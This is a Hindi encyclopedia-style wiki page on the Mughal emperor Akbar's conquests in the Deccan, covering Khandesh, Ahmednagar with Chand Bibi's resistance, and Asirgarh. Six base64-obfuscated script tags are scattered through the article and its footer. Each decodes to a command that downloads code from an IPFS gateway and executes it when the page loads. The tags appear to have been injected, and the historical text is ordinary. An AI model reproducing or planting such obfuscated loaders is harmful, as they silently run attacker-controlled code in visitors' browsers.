अकबर की दक्षिण विजय

भारत डिस्कवरी प्रस्तुति
नवनीत कुमार (चर्चा | योगदान) द्वारा परिवर्तित 07:10, 26 जून 2016 का अवतरण (''''जलालुद्दीन मुहम्मद अकबर''' भारत का महानतम मुग़ल श...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

जलालुद्दीन मुहम्मद अकबर भारत का महानतम मुग़ल शंहशाह बादशाह था। जिसने मुग़ल शक्ति का भारतीय उपमहाद्वीप के अधिकांश हिस्सों में विस्तार किया। अकबर को अकबर-ऐ-आज़म, शहंशाह अकबर तथा महाबली शहंशाह के नाम से भी जाना जाता है।

बहमनी राज्य के विखण्डन के उपरान्त बने राज्यों ख़ानदेश, अहमदनगर, बीजापुर एवं गोलकुण्डा को अकबर ने अपने अधीन करने के लिए 1591 ई. में एक दूतमण्डल को दक्षिण की ओर भेजा। मुग़ल सीमा के सर्वाधिक नज़दीक होने के कारण ‘ख़ानदेश’ ने मुग़ल अधिपत्य को स्वीकार कर लिया। ‘ख़ानदेश’ को दक्षिण भारत का ‘प्रवेश द्वार’ भी माना जाता है।

अहमदनगर विजय

1593 ई. में अकबर ने अहमदनगर पर आक्रमण हेतु अब्दुर्रहीम ख़ानख़ाना एवं मुराद को दक्षिण भेजा। 1594 ई. में यहाँ के शासक बुरहानुलमुल्क की मृत्यु के कारण अहमदनगर के क़िले का दायित्व बीजापुर के शासक अली आदिलशाह प्रथम की विधवा चाँदबीबी पर आ गया। चाँदबीबी ने इब्राहिम के अल्पायु पुत्र बहादुरशाह को सुल्तान घोषित किया एवं स्वयं उसकी संरक्षिका बन गई। 1595 ई. में मुग़ल आक्रमण का इसने लगभग 4 महीने तक डटकर सामना किया। अन्ततः दोनों पक्षों में 1596 ई. में समझौता हो गया। समझौते के अनुसार बरार मुग़लों को सौंप दिया गया एवं बुरहानुलमुल्क के पौत्र बहादुरशाह को अहमदनगर के शासक के रूप में मान्यता प्रदान कर दी गई। इसी युद्ध के दौरान मुग़ल सर्वप्रथम मराठों के सम्पर्क में आये। कुछ दिन बाद चाँदबीबी ने अपने को अहमदनगर प्रशासन से अलग कर दिया। वहाँ के सरदारों ने संधि का उल्लंघन करते हुए बरार को पुनः प्राप्त करना चाहा। अकबर ने अबुल फ़ज़ल के साथ मुराद को अहमदनगर पर आक्रमण के लिए भेजा। 1597 ई. में मुराद की मृत्यु हो जाने के कारण अब्दुर्रहीम ख़ानखाना एवं शहज़ादा दानियाल को आक्रमण के लिए भेजा। अकबर ने भी दक्षिण की ओर प्रस्थान किया। मुग़ल सेना ने 1599 ई. में दौलताबाद एवं 1600 ई. में अहमदनगर क़िले पर अधिकार कर लिया। चाँदबीबी ने आत्महत्या कर ली।

Blockquote-open.gif सभी धर्मों के सार संग्रह के रूप में अकबर ने 1582 ई. में दीन-ए-इलाही (तौहीद-ए-इलाही) या दैवी एकेश्वरवाद नामक धर्म का प्रवर्तन किया तथा उसे राजकीय धर्म घोषित कर दिया। इस धर्म का प्रधान पुरोहित अबुल फ़ज़ल था। Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

असीरगढ़ विजय

ख़ानदेश की राजधानी बुरहानपुर पर स्वयं अकबर ने 1599 ई. में आक्रमण किया। इस समय वहाँ का शासक मीरन बहादुर था। उसने अपने को असीरगढ़ के क़िले में सुरक्षित कर लिया। अकबर ने असीरगढ़ के क़िले का घेराव कर उसके दरवाज़े को ‘सोने की चाभी’ से खोला अर्थात अकबर ने दिल खोलकर ख़ानदेश के अधिकारियों को रुपये बांटे और उन्हें कपटपूर्वक अपनी ओर मिला लिया। 21 दिसम्बर, 1600 ई. को मीरन बहादुर ने अकबर के समक्ष आत्मसमर्पण कर दिया, परन्तु अकबर ने अन्तिम रूप से इस दुर्ग को अपने क़ब्ज़े में 6 जनवरी 1601 ई. को किया। असीरगढ़ की विजय अकबर की अन्तिम विजय थी। मीरन बहादुर को बन्दी बना कर ग्वालियर के क़िले में क़ैद कर लिया गया। 4000 अशर्फ़ियाँ उसके वार्षिक निर्वाह के लिए निश्चित की गयीं। इन विजयों के पश्चात् अकबर ने दक्षिण के सम्राट की उपाधि धारण की।

अकबर ने बरार, अहमदनगर एवं ख़ानदेश की सूबेदारी शाहज़ादा दानियाल को प्रदान कर दी। बीजापुर एवं गोलकुण्डा पर अकबर अधिकार नहीं कर सका। इस तरह अकबर का साम्राज्य कंधार एवं काबुल से लेकर बंगाल तक और कश्मीर से लेकर बरार तक फैला था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>